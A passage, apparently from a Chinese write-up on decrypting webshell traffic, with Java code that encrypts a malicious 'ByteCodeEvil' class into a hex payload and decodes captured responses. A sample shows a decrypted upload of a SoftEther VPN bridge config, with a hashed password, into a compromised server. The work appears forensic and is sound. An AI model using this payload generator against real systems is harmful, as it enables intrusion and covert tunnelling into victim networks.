a3df681a35261a672c8346642d1489a1e5ad4c2e12d8c36645f0db9929f6c42f7fb24f2bee223028b5703fb9f548ee835a555b7c774a1171aba392abe6ad34b30221976ce351dab115ea0f33472294dc7b12903af4cf55acba6215a4b695d9285926f47898f86a6795213662d8576cd64b8fa61bec556ba7a82d43eb5e02250904bc2ddc12cca92d8778db73d1178669431bec51f43f269f822ce1b8c41410b2e69bbff72bb9de9325f9dff95b345bc78ce2d3a5a4519e888932eb7d4d167643aa410de5e93796f8afc1d117b9b9420edd0bb0233eb42abb394f8608490285c978e42500e0270b47f7b1ef31dfb5832e1891ded0c6a07aa72222b18e6ffb2329774e3f7be120fb11c2f44544403365b0313e07073a9dfde5fd60ea0958e350c952dca3599470c1f43d07f2ddb6613c9c1f69db8fc1e3b59dadb945b3a4bd3a1f725a73bff4ab3867895c3478bc36b174d469d92ad62cdfc59cccb34ad9dfeae64f51c66e07d0e36e6ce1f6c69fbf1c07c9d1e2bd1e87dbf29e1e42f43e9bc3b175dba1736d483e32c5b02365d4efee9c8c88bc4564c65260678e45caadca963962b7aabbd76326ace7cc9d395676dde2782679cbfcef948f589ef7de142d58fd853b5835c43a55aebd6b465ef5c74d2ae7f7a6bbddc13faeeb3da82c0eb43142778e4f33bf4352c307e58994fcef216763b8bdcd3e50ddadca88c618c5f7c9dcf2f9a3891430cb77850e60e4ce6b2e0c08b310782b9789f57c3c5886bff551248b002257fa19b9100acdfcdb7a40c322acd9fc173e77fb98bc76c6c71e3421ad701551f7f63c1803922b06dc116d61c22f85a6c3bd9aa71f1cd04c779c88bd70cddeee7b03e8aee19fe1d352484161e3755291f72990d15f08608b95deb55a4da503b8dfc5901a907d7d464f3c10f47d42cf0ea8377edc31950ca9aeb209fec231459c71b336157f517fe19ec761431dd6023d8c8dff01b68a009d4b2ef5037b99124801c151268f5d6f4b979d451306f10b0c33a9d5acd7930baf6d023878f38afd8e54c9920940ec6dcfcab609aa078054cfdfc43e5f4d0d7a0cfa926d82f36b643f5fcdb466c3dc960d7f79f9050b896801c1464af59e1a857f38eec25b0352746b9205ff8525591f96baf77b66451fd4c0258e167a40d63e56360cab5af2ae978e3fec071538d9a4a4f8f813fe9a1b825d3d5b399948c2366da0cfdbd541fdc6ee764fdab378951aceff03fdae608014ee8a396f59e0192305b911f2c975286332336f0aa2499c2b2d88ccb5362e5bc7f399aca0e53e76a807b5f1b9fef3533c3c5e93a7352490a933c18d864a28c451e5bf8f65a6bf643bf829af4eea03cceed8ef775fa218fd11b42694c5ba861a789fabd7914bc5c920f76f6c1e83365a4e8e91943c159aa5f9fdc6bf9fe6040dd28abf04b6c9143ad8ef4d81251b59ef20d662efcea064297b6592aba4a9bf2b3faa11d3dea7c331fd3ce5164e7a22f8f0afd931a01801100821efa9d2cee87ce123bf02aeafabec1806e436e5526eebea309b2abb86b778c20c1955beaa3dde162cda2c9b5355af81258ddeff5a6ef671645afdfe8a95943056b17dbec3d28c4f02734fc9066963e88a37cc901354c66f9e1193d653a2e13a0c2ef01ab159c0cbff138ded031f20cf195a1b0542e4403ed4aea4eae4f0b3c21f863d7b0560649041b6512c45e418cca8b5d302f1182ded09699f2404f2bee3bf06cf7410a1e71ac968c30b6805650544f14b7931c8e6812010e7ff122748bda9664104e81d79b682fdba39d312664e7a758d531f1b534a964b6cd8e08584d60ecaae5ee62f7b93c6a60516d67e17b600c6ee47f8130fbe9cefcbcdb0eb6217cf8f3a9c851af8a89c94a315a71211d66b91952a58b4807b701bbd63984f81d2a2be546d5886a803b2d59d7ecf66d8d113fd80d214f5879b441b85d6bbb83a94e6d1d484b3e9d8e83f567f3c43020704896fc574e442eb75bdcbdfbad0167d7a65c58b1ea0caf54541cc603be1d31372014133ef46f1d81d2b715a5bd9ee8270ff15666db4c92d794eb9701f2319029664adfd6146e4b8328d758b2b52ca773dfd5bd900949350ca67e649b8557b11b546f52b5f29bbbb0fec931c117cd7c6fd96868799e5ab0f8c17e4ddbb831818f0ad0c77e8e26360518ae28019bf44f8ac6280d9f88f163d066837a51f50e06dee8e30b4523cb867f4c85360fb142ab34414c1668fdb5747f0abca9d74766ba797035f718e700e83613c3a0cd63545a9c7d10e3556e95d362003489711000f29388e435e1bd07558d033bda36e1b204da762bf7c6d6a15a2aaa5bb2f1af3fcf55048b715edbc42805c01678181116fefd77cb68e385a3274c386b5550ee11fbd9722d4c8dc91e7c5e201fccee8a4bbe04c3e72cb60140328d7308b56a62faf133a4f787cdd59c7d0fc438517cf8c8c4bf1abc2f526a4f910b19cfe1a3ac21ec3bdfc32a3a1b74652463d8157d44d0fd74e7d5c0fc2d8933a20035b9afe647cb234208eb04788cc9769c6f9548143c7f3584010b61b62d9b3688b58a544e0d9085476a0f947b5de9f35bc507c53311e10ffb920c71888d0d5d3050dc9cf800c6672bfb4d8b1e185e3c1f34d3ba3e4f847d3c78f875315b7503eed66fe16ecc7a1cb899621948d19e6ad5cb48d95b1374bad5e58f1af0a927331d4b2ddf1571033f5cc0f4f582877a0a9345d6f3e00ab97ccf61b43526e5cb99c0f82b5b9bd78c6792f8af68205f96f7bbc30021648184db28217e8698cbfea2b917e166694d13b92909ebffc6b33b7e493782c6496f045703cb6265175a6d109377f0f71b8b6b1ace6a99d1cf2f711364d7822a87f6865ec9c1b2fcf29fe0f9b6d896bc85527f162f625cbc4e255f942fdc3116b6aa5e362b445cfe5993b1c8bade46052fee150750c7231b98dba2ca4aa9aa16120db5865b40a5a0c2bb67e5a10cc4b1c91dd26fa6739073c924d6a6d90ca85af3b9243b6d8249448cc7934cfe5c082fcd4f1f26a867dee37686e35ad2d0049f0e6d56dcd4c4c97b312189ce703787003990c0b5685163cbe0da18aa311b64aa8550c4d137fc264707fe36bcd9234b323f34b3d82cc808f8544a501ff54d21c5aa8293baa947f2acff3595c2adfc55c5225071e26aaf69c20ff3f7101c8f9b93f9f5d9e0099951b1858b6227b9c196edb12a6cb5297586137082965802fe4898270982ce1210d0bbbb93db40517c8b4dc06e5164ac402957ff1ec3f259cdf9eec3379d26fa898645ad9a9a7a19f0bed4689541a2ad5c785c56c751f219ceb3a666bebf0c927ab5572d33e7a82527210b00956472276f0ce33593c6b9514ed60705b187e78976efeaf36c81f33b9de185915f1535a0885a6f35945399d870f69db8023b3940f6bbc6d13c00b4348bcb09e9bc69c6663808dbeb5bfbf599edeb32d8c0fd456ba54a4d0076d4c3645861023771765687dfd2cb3976d60fe3608329e07ac375092ac6d1e49cfda5200fa273626e67ba9d2229b50898c5c28a75b91991c85bb9fb0dd949f50793a29a4a6a5f64b6b36e4d532465c9e2c52a1fca0ab207b72eb2998fa378f6efdb4ce15207e3881f91bac239babb4059a82789612c1eaecd1b2bcf0d3a43de4d36c728363461e988365daed99b04f2db0365f06a8d2440121ea3150f6afd0e7f16574d14d0c91b0cdabd0f7b58337323419cc41db96e0b00f6fa9b61fe871d30d371169aaba99f456839881babed7f438e27f2439ffb86334cdf685aabc3bb6484ec6682e9fb90ce6b5955f34dc8137ae2b74f0b6f012261a8d9d60ceefadc9dcdbdafcd0e2de383a57a73327112f84283ef724e2886a846392c9ba4b36e1238110f27fd7c0f39a0c1693ddaec6ef84a245f89af77c15c8dbbf9da3167554182d04a3e1ef90f9bd5d493cd2d283a0a635cf5ea4b3bbc85960cb28c9674b4b0e1cf6d7532639794d7aa58020a60bd7e4c434d00edf376c04f8903c8c0f4754430a8f7e1f72c55b6100ca9f3aa9f0587f8f5a6545bac9e202fd3493748feefc8ee1f7e40f9a936fac5e262fba2267ea066002fbc4f42717e2ad83a8a329216b90e50079823f114777e4b57f058a6d24e9ec43070b1ffcf04d9a39a7a6b5caa732cf370519a09c58f78bffbfc5fc87d453581d9ddcff61875d2d6bb09f4ebcd8b15313210f8bc22ec07976b93f649cf97d61232216bd1db661da6efe0892d24d8df515f691e3a9b64019045fdb3b1a355a703443b6358c1853c3f25666827f0830fd5d0c6cc1864cf89bc59084aa3dff0f3ac989b23f94964a003a96b7f754071589792b6142703e083ad687a4e25b2c850f3dadf71e45eb1b0faed556c82d0d917af43fad87b33e36f362b14463d93423cf23e94e55886c322930ba854639acd04c2a7f4ac5553f9adb86b44c99db8103ab448eb243349df954d26504eb4017d7af6718438505fdc484accd73170560419a823c6b57f3f913df4fbdfc3c99f4a3833f777d940f41684ed20304791c360046c97f4ee53e758e596b7a039b5b4286689d58b8f478b2509f47316b4d96f2bf8180cffce8644ba3f9d0fe7d419a3f5ddceb7cca4f37247860909a011b95568f16d53b9cac7d3b9f27c7ec32bff85fd3f9c47f23b804205b9a792587f07d87cfadaeae241dc5703e794e10d6143198b87d29859f590f78b5762a203ea37883999f75b83849c8b58a07f09f4ee39a7def73db5afaf28f555d261b17ef19462b10b127302131bde5d45648ac522d717ec818852e215bc5c46b189b8f4170eeb7f87a033c71fed1eb55d00b26d091d23e00f4655e62134ffe925e05e7b60ae7a0c9c26ecc8f868d189766bd5cf36295310fcb07ebbceffb4942e6c12251e8fbbde85abd353762191f05a9aabb37cd3bcd2dff09004feb5599d4280cc96ff15c54b085e24593b837155c3bd83002d2f446c9076412364e82025bc761152d9f9c9514b407c568531b6950bd91e9a66f97f5c7d3985622db235f20bd0295a751f3d17a48edd463e84a47931c396b93777512cb39edd808457df1484b8094bc55d2cb666244b1f418742d097a9d376d8f18931cde53f3aa5b71232fd969614850bb82ccd56f3b28110cf4f51a2162da77fff72d1b8ac9633"; byte[] pp = payload.getBytes(); pp = unHex(pp); pp = encrypt2(pp); //pp = uncompress(pp); //System.out.println(new String(pp)); String bytes = Base64.getEncoder().encodeToString(pp); String filepath = "./1.class"; outByFileDataOutputStream(filepath,pp); System.out.println(parseByte2HexStr(pp)); } } ``` 1.2 解密返回的流量 ----------- ```php //字节码payload生成 + 解密返回包流量 package hello.controller; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Scanner; import java.util.zip.GZIPInputStream; import java.util.zip.GZIPOutputStream; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import lombok.var; public class AVpayloadGenerator { /** * 加密 * * @param 需要加密的内容 * @return */ public static byte[] encrypt2(byte[] byteContent) { try { SecretKeySpec key = new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"); Cipher cipher = Cipher.getInstance("AES");//AES/ECB/NoPadding // byte[] byteContent = content.getBytes("utf-8"); cipher.init(Cipher.ENCRYPT_MODE, key);// 初始化 byte[] result = cipher.doFinal(byteContent); return result; // 加密 } catch (Exception e){ e.printStackTrace(); } return null; } /** * base64解密,目测是魔改的base */ public static byte[] base64Encode(byte[] bytes) { byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = ((String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes})).getBytes(); } catch (Exception exception1) { } } return value; } public static byte[] base64Decode(byte[] bytes) { byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)}); } catch (Exception exception1) { } } return value; } /**将二进制转换成16进制 * @param buf * @return */ public static String parseByte2HexStr(byte buf[]) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf[i] & 0xFF); if (hex.length() == 1) { hex = '0' + hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } public static byte[] xor(byte[] data) { byte[] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) { index = i - 1; data[index] = (byte) (data[index] ^ key[i % keyLen]); i++; } return data; } public static byte[] unHex(byte[] data) { int len; byte[] out; int i; int j; for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j < len; ) { int f = Character.digit(data[j++], 16) << 4; f |= Character.digit(data[j++], 16); out[i] = (byte) (f & 0xFF); i++; } return out; } public static void ReturnMes(String message) throws IOException { byte[] bb = base64Decode(message.getBytes()); byte[] responsedata = xor(bb); byte[] result = uncompress(responsedata); String result1 = convertHexToString(parseByte2HexStr(result)); System.out.println("返回内容为:"); System.out.println(filter(result1)); // Files.write(Paths.get("./1"),result); // System.out.println(new String(bb)); // System.out.println(new String(xor(bb))); } public static String filter(String content){ if (content != null && content.length() > 0) { char[] contentCharArr = content.toCharArray(); for (int i = 0; i < contentCharArr.length; i++) { if (contentCharArr[i] < 0x20 || contentCharArr[i] == 0x7F) { contentCharArr[i] = 0x20; } } return new String(contentCharArr); } return ""; } public static String hexToAscii(String hexStr) { StringBuilder output = new StringBuilder(""); for (int i = 0; i < hexStr.length(); i += 2) { String str = hexStr.substring(i, i + 2); output.append((char) Integer.parseInt(str, 16)); } return output.toString(); } public static byte[] uncompress(byte[] bytes) { if (bytes == null || bytes.length == 0) { return null; } ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayInputStream in = new ByteArrayInputStream(bytes); try { GZIPInputStream ungzip = new GZIPInputStream(in); byte[] buffer = new byte[256]; int n; while ((n = ungzip.read(buffer)) >= 0) { out.write(buffer, 0, n); } } catch (Exception e) { e.printStackTrace(); } return out.toByteArray(); } public static String convertStringToHex(String str) { char[] chars = str.toCharArray(); StringBuffer hex = new StringBuffer(); for(int i = 0; i < chars.length; i++) { hex.append(Integer.toHexString((int) chars[i])); } return hex.toString(); } public static String convertHexToString(String hex) { StringBuilder sb = new StringBuilder(); StringBuilder temp = new StringBuilder(); for(int i = 0; i < hex.length() - 1; i += 2) { String output = hex.substring(i, (i + 2)); int decimal = Integer.parseInt(output, 16); sb.append((char) decimal); temp.append(decimal); } // System.out.println("Decimal : " + temp.toString()); return sb.toString(); } /* * 执行的函数 * ByteCodeEvil 恶意类,自己构造在同一目录, * */ public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException { System.out.println("输出恶意字节码:"); ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(ByteCodeEvil.class.getName()); byte[] code = clazz.toBytecode(); //String aaa="aaa"; byte buff[]; buff = encrypt2(code); String result; result = parseByte2HexStr(buff); System.out.println(result); var sc=new Scanner(System.in); System.out.println("请输入返回包global流量"); String flow = sc.nextLine(); flow = flow.substring(9); ReturnMes(flow); } } ``` 1.3 样例:VPN解密 ------------ ```php 6e5226d615ae46c90e251d00ef93cc6c5d65eee32311eb9f0c8adcfe638c18c16f06f1053dfc489e64897916cf7a432b35eae10ab9494cca8eda20468b487a4ef8a4f86393953103654dbc0fd0ae46c385842ab3432057995af664e24e91e884feb58eac5a3bf6228c0e2cb1a5e23dd7b4013fef904d17d750a5aa9b203a7bdab9ac244fcb118f9e015d3c118275e15396fefa8b4a5cecc0ffa8f62f8c7eb20db7eabbe8561af67052888c046ff598d4d48e93e492ce058c1e13dc38ea3a55f7cffc024dbbd0d0c609145a66523cb0ca85a94c0ab65d93211c8d4c63a102025e5e704e728624959b03f5eb9690be93a02ffacbc6400645d5791944e0641678460b1cd5c0e6972a6dd14641e62df9e9180d0fbe0ac872c07eda46754cc58783be926683b8180b922a71c2717d70e16679352640bff68968492bf5ace406c3a8e8ba58bc0d89a42725a75fb722c3d2dd8686b42834de4006042d69c35f1d1943e49724135c4a6c3cb2547a2ef8ffc2192fd18e1cd8fcbfa9932b0b17cb220ba932a1e11e9a1e9675d999b51873a7915da1f7e6a57041c792d2c2b471e0f96116775a94ba6dcc621ffd23590be3328b4aff3bae1280ede7fec5a6339a47ae86abed81f429c30c59b0eace89d597b8b0e2cc50b89dd115ab1c64e44d01ff0c7ab0692d76affbf18af9128917a5b0d9dd9451f0bc5494b24d72bac35358a54e795737ae4c3a52210c6eb6817e727206bf9809bd86dbcd05ab7c9ebe096d634dbf0c402cba7acc350775b4b5a2a5d3d513f68b071e793e057bf0cdedb05d9c2a79cf49646a6f516f2d7fb5113517bbf0550ca85116e6eee0c31f053cd002221415f8f52adb397ed63eaf8759f255f15a188ae4111296f62d1c90f9070a7135bb7d5c3913b8ee6a9be07cc075c9488d46aab8061eab1f601ee1227f5811e902f826ba76111c70b80fd703ed67d5560abeedfc4c023b77d77082b2fe0461fb9a5b499d43b10c4702b4647dabc95881012722ef79d4c7c703806a376293a2f7c0a0718d441150259a3f6c5ea14f0df55efa39e7a60aaea788f7fe1976a8003384a72924565b779aeb9a039857f5d377384e05d62f821f6ca63bb7258716e27979111fefbfc6a327d58cf5d82766541f42e1d6cd7ad512ee69b51580f69e4cb71c88a558eb3994a82902c5d1913d283bca523b05fb4cbb1feb3e322233549046845242bdd7bf425d54df69c4a92f350410829f740c3bd032b188734474d576d023a2b119d6f661e0fc9722a6cbd18b35623296ac3c44861002c3a93839dfbef98231f98b0c93eef2e0fd9de88466fe143c4a18a03e16fdc693c3fdcbfaf4d4787cd1bed8d9f183d7914395f87ccfb39c669f9c4287b3f76b73781303b528e52efbd0e680e8dbe9822560eabae5c81fba267aad61a278f4c8cfac6b685e4fc9bec5f18c789579f95ddc60854e35fe04c78fc24a53f77d893a560af4419147ac3d414de40fca5fd423a699d3c3742a644550fad0e2f4bc25af6df2a4607a4ddc26e540e324b8baa4e7aece081e8983dc7678700f287c328df114f8d91479b88728a11cc75bba489a3aa044de1993148446bd5bb5137b34a3afa1560b27ec89d6f1c4cd40c340aba3f252bd42ff02b9303a91f3c38c2366ffad074a8b621663f87ac1f20bbd29be458d9d82a9d2ec2f61ed9f11c5626bc0ead942d41f87ddb737af7eeb939a5a848a6a29e3c7b20510cb721eef795c4ab5998d01780566ac29d717fa9f282efdb40c456cc68bd15b37aef46a05b2a641d3b5d5680bfab1a20a7719a0f2ce47be29b04214af0eb7182bd112c29c40e71a32b317fff8a45d8cd83e6cd615effce039c2946d77c9c927ff1a4f67c98eeac45b76b1d9aa16e185619f1e4dd7722cca1c4b52f7031566b580724710c0697086474524cc52157782991ea6d661781a219ff3a7f6f5558f5ef88361538aff3ca15f9bee1b5803c997f40c4dc634ecd479c4898849c4d044a51c4e4443fe378d7c7b9038780364bb7bec80a3cebc5ab3022fc7c325328e3857350ce33d285e0ba593d24b2d8f7369923c526f3dbca3d6eeb328d4aae97d0bdda5d339536fac3d833e167819a8951827826d020dd73573799a580d4f582db91de8356d30f4aade6d574a57307d7a4604e5f15ffb9e714a40b79a27368514b8a641c7efc4a8955f95b93f80466d63ed0f30a06e0731926c3c08d9f6458a1e9a0e959807fa1ba81b439f887f3e5b9d67482ec0c0650b8fb23850c858dcb58b8bba67c7169725c1e6354a96045020e02cc3c3fee5085ff2fde885994b3ff9e528bf580b31f814ddeeecc02e2e1552bdfde93c7a0b25be9d664cbfa4a79459fe4dabe5730d4e9baf66a80db895a1e177927a93ec64c07485786bb2c8302b70a576ce05deba435f3d9077079c0ce5f80a0d909ae7ae4bc8866b682b04bdc37dbea4158ea0f28bf155a62017b74753dd2f49c56d2183911b62e70c0f84f146d91f8dad27a5a8c42cc297b737c8dd53a67f646c72f1a05a5eecddb4100f6c45d2261cf52622c58338600a0a7fd44280b581fae5342389260e433b37071c1acdd264f6d94cee13093d57b463ccb6f41524f204aeca146b267b1c503bdcbfad12118edb67f7c6349865d527e5769fdee82a31d3e7d0ceb6433327f571e4c13aae0a35b5215ea0a3794935b7188e3e12c95601c752bc2677051854873854d99cfbe6d7bc283057539f3b67d5241a2ed5be939d363bbac3a74c681483ad7736b294a77aa70c709e1221b33686a6e92f6683fa6cbd6d70304110489a37bbfdc69b81c1c8a20e5ce538e343211e466e5a01bff53b8d16411d8193ecf3a56386836ff267ac1c0289e27fd307674d6e87aa83b4578c9d22a7e0a7e75adbe644da5af491da7c9ecbcab95f71dae25a23a02f3500296e9a4990cee91ffd6131a5181ea62b61257228efb9102f0e9830949d896a1c4d6645170aea71da74449bc884f6c3577c51b7bd0cba3a77661ad544c14484445af4f200429d1729a7102ce33fb02179604690fd41b0f97c4c3dddf4f69b626de4781d9782e3d425dcad1e8008f0d352e9d7b113683972bad18c7b9e431dd223de9e5a11df51c4ecb12e6a091e3d9352c6fe95b8c4d00310bb0e1cb46d3bd8af7bf02fef2c0cba3effd1100f827312d08f7e576c29ae94d4d72efd8e1fb769ec1e834904062af54305a631f8d509292d6e5e95c5014d1dbaee26f1a4ba74423ba9d337d4c0d86bf97a96fa8acfc66d0d7cfd6d773106caa89eb7dd64e52ec9d692da22332045cccf9e563b51821171fc8fb64a613ea1baea2fe1d673a2670dc2b098e6f47250bbf0681a72e61a3305cb9f36221a863aab2b8b51a5f8bea31d8205389aa722f84580c669f384933e1cd02aa123ce6564e07d0bafc4ce5852809f087a099d8cfb107a11287116e7d164152eb53b14918b8d1dc87df99be16e8df8485786da0af7dd81e9df971bab7874397fe5ccd87cbfc59121e263ad51073f7a0fb33ed5630e99f5e033c68cc174e897c003319b8cc823c9d6c45e08fff159d584d3e2e971b3569dda557afb3ba5073d65f4771f416bee4932919c207aa97d536fcc827bef76112941d8d2056a03221bfbf96ef73b7155f36fbd7de0beb34fb885f750c77a629f26cb4d4f5d0f7dc94a3af74be27c4e4f6989c73133e04811d8dee32fa119b9051ff1a1b488a17b21432b7f03a6ecde821401de3837159435a89259cdf9bed221238b2a9ae0e173d4adf2d5784ceea497ad5602c3a04401e8aa60a1008d86792506111a1bce639b6cd98a36767d20f859bddfed891b999111ab1829058a8378a5a47c57619e3150042012e31234685a8af93cedec348bc61bccd7000fb8db9534ab447a2171d92a0d9bf2fb3cf9f5b54ea42b056d61220ab9118ce8f42a095c254ec2b6e2a753c5909888e714a6e95193b2e94c01bf3f485ccad391152a5ba6a9be658f5c241675a9238f1e582744ed62912128bd7cdf1446f0059d2b4e34a075293084c63ab96bb7a2cfbd60083abffe056028614b25ea0c4ecd95b9e49c068b9744bb4e96e0d07410ceb187f2136da7f4720267afe709c74512d7a5e10752a15156daa760f52cc784802ec0c24fd024b90a7001637d322347bd1d2df4b47c4c5bba1de0a1e794561848e9296a9f1e4c663138226fc2e77bd95991745ca08d8a391d01ce7c8e7b563aaf259e2dc94ba690d998515d65610b2c15b3bc7b958363209959e27e1c4172440252032d1f05647d072d06e4880466dc087f8c20efa4f0f67dd18ae7c7b37c55365c8e002089597376657baba15c3259d40e657ea2ff1c22590dfacaded2347130bf7795a477146abdb3677871ce1af1d2b4c26412f5356eb2af26ea6c19ff89b150c0c2e3c49fdd46556c9ab6a7d7b4499d6ebca8da91e44d2ac070089fa20496bf0b958fe059d0b90c96ee3061b1fe039f7d4b1984e68ccd6b9d3f7ddbf8d65c1a5298819ed435c09f97cea2c6ce37e8ee3f0a709944f3f33ae33502544a57ef75c9d666d6bb972a2a8d48eff390f46c8a4e55839790f36f9a18e95ed2f19564abdea503a1e91c98e613e5ee77b72aca6ea45c53d816e88ad42b8c431690da36949969e595af9f58a89d41c6a3675d1bb71256a8f1a9c2599aa3a64a5cae5f3b22112b0931078c54f18582004d20cd1ca5ae5e31f2a0829a3d83d7a44a226bdb8c93428468918227d1cc92b91bbd73ba6eccf4d30b9903fa1d065efda52be9665ee2d658b4a3f7335ca324748fd10101d3c4bbbad5d4c04b2446e05d63c2e2ee58783596864e292a6ca274b3f9011bc1711d63a0c6060cd183af4fa285d4bb26fdf418866ffd371f8024e2f427b8318b3601c75856ee5286d6f096231026525369d65ca58215ef345d16c9316f583dde54b50df63f926e6f49ae5a16bcb022959b0a37802c1681a1738c364edc58fc5d7621031ade64da413be7ba411c017369dc5a57559278d0464f6b67344bb98fbda85fc16271af39cb654fa94b79d0ab097662ebcb964c2be03d0410175a1507735e299655a30e679ca7b58f185f9c42d2cfbe4612e006868a7036d12b192dd68ace8d058269e8b0851271c5794e8c68bad4ada21f5872f6dc4f9074e21ab4c209c8f23262669a794519b9b82d0b9a6b369c19f7aa33848ff5cf8182c67a68fb28a421ca0b53d227b27da0d12574e3d55b43e5b8f2c89770a3f37d4b7b47718a3fa0966c2c9f8f3bfe2cc36a199dcf596e648d9d048b3b9e66b509f699d6b1a3983bf9f93b9e088bc1222d9ffb0693ddd64da9dc8d8c8372b1f6bf936523d580052d8a31e040870b045c01f54cc1122b600b679d8d71a9cd48dfd728c0e5d618198b5cc74e2ffbd6a4768596c4fcc784b00e4a9e186cb54e699906364c4d1837ff58255765bfb6974f5ed9f81581e58c11a574531b07001666174396155bc65829175faeaab9fd4da97368bb29e8a04f2e33e3827f7a2f3f397511d30c5c738535fd2ce5e48becbe0cb972739b328317d7d899787a5fa77b02e17352e05db94aa88d6acbda9bee8a8a214f903e5b06d379ea1aa686601547ffe5a84936f4774653daca7bc5772e4787e598235cb33c7827c3f4cb9ac699779d29a8c43742993e2b328383466ac56da8f588143acf3d70b63e1f3872552625de792bea71f80042d676315784daaff1318a5ea1eab4b9b7f2d68cac507f90cdd4cc29d9f86f1c2d4d7e4e5bceb0538cd5555e924eaf25a588f3352b536468a2d174e80e03863f2bd79bd3e7310ef090fc1425e51bb0843d3b0fd458aeeb34e97027da44f27e82967864405a83d3c74136a28b725628cf1bcf0014f4047aca4986332c63483978d2de6fd972b4c2b3215d9a3c6ff9fc6cf9b6b0c02e077d790b5be4f44cff14e4df1c99dc4324a1873f8504895839071621b87d979ab17fa310fdf85376c0d6584f4710f9cc32923b5cc191a6db29a1a59c6aecca5d04bd70fbe01c39ae1b854384ebb02393021d65f5774abf3aaa806766c265fab9524c3629a727fc236b636f48d0c37646a551bc9997c42c4ced0006ce27e29dea2d691bd49f0a8c283ed7dee03097274094573b516864af584f68e4e832af81d72edda695ad3a7307fbbdbd3027b169a6828cf03e43b1fd3505e646873fec4cb1a56ff339fe238fef3e5cbac185c8b2c04f8610f43105b467b91ca08ec7dad0891883e5357dc02622e6844be2a9aed4e0e404de5cf2832dafd53a898049b7d19d83c5c67255ad38706da094b07e5cfaa7469ee55a163e30fead7ae0b1ef91f03c793bee0006065894173a07fe3bf0fa44659c0e962b0d5628eb64c1cd44742f3c3f60777d785a85f8192333f97dc2ab08b2d754a698b5e5c75e032bca6ebb032263aec3118b98e278bede278317ac33ddb84826faf67d95c9838d229b2f56ed392b24622cc711c5ae2e0ff5cfab3e381fd9ba2537eab282b9a4c0cd5a3dc40518ac290073be4e2f8186aca29d81aa66ecfd509cb20b3bdeff41420bc4a57164d79817c005f729be0f8112225ddbba801b802409846e929f6094401352aa51fd4f1f290e9f41754e5920ad5494ad5cfab78082c21999b73746c1e1060edb0a2e22d8ea30994c5075940d8085909338ef8252e9e1dc7727ce197f293d99e90f42257214d4c0b77243b2598601cb0c4070b124c9a64a2a88755bfff95a1e1076103b4dda77d122a8ca14e6a39fbf42d1a65f8ce63f180100c67668ea88399c89f2100d25286117a0ddf72f6ec0f418fcb82467900c58718d71b797fe60ce8a11876a54e0cd17e1129d1d8910937ebf758d0c95fec7e785b2ade08865c07af2710b138bdf5dddb54fe840c2646f53d055ecb8ae89eae89e7ebcb60120792d74b6dbee0ca1a3b4a742a3733544ea5cec863b63c3b3daababc09fddd60b8e47b43c8a8c2123ce6249e06858 methodName uploadFilesessionId rk36LtN8sGY4moG8B fileName& E:/NC65home/bin/cert/vpn_bridge.configfileValueT. # Software Configuration File # # You can edit this file when the program is not working. # declare root { uint ConfigRevision 18 bool IPsecMessageDisplayed false bool VgsMessageDisplayed false declare ListenerList { declare Listener0 { bool DisableDos false bool Enabled true uint Port 443 } declare Listener1 { bool DisableDos false bool Enabled true uint Port 992 } declare Listener2 { bool DisableDos false bool Enabled true uint Port 1194 } declare Listener3 { bool DisableDos false bool Enabled true uint Port 8888 } } declare LocalBridgeList { bool EnableSoftEtherKernelModeDriver true bool ShowAllInterfaces false } declare ServerConfiguration { uint64 AutoDeleteCheckDiskFreeSpaceMin 8589934592 uint AutoSaveConfigSpan 300 bool BackupConfigOnlyWhenModified false string CipherName RC4-MD5 uint CurrentBuild 9378 bool DisableDeadLockCheck false bool DisableDosProction false bool DisableIntelAesAcceleration false bool DisableIPv6Listener false bool DontBackupConfig true byte HashedPassword +1LL01Ii2zKsr+r5M4gDijVCBXI= string KeepConnectHost 8.8.8.8 uint KeepConnectInterval 50 uint KeepConnectPort 80 uint KeepConnectProtocol 1 uint MaxConnectionsPerIP 256 uint MaxUnestablishedConnections 1000 bool NoDebugDump false bool NoHighPriorityProcess false bool NoSendSignature false bool SaveDebugLog false byte ServerCert 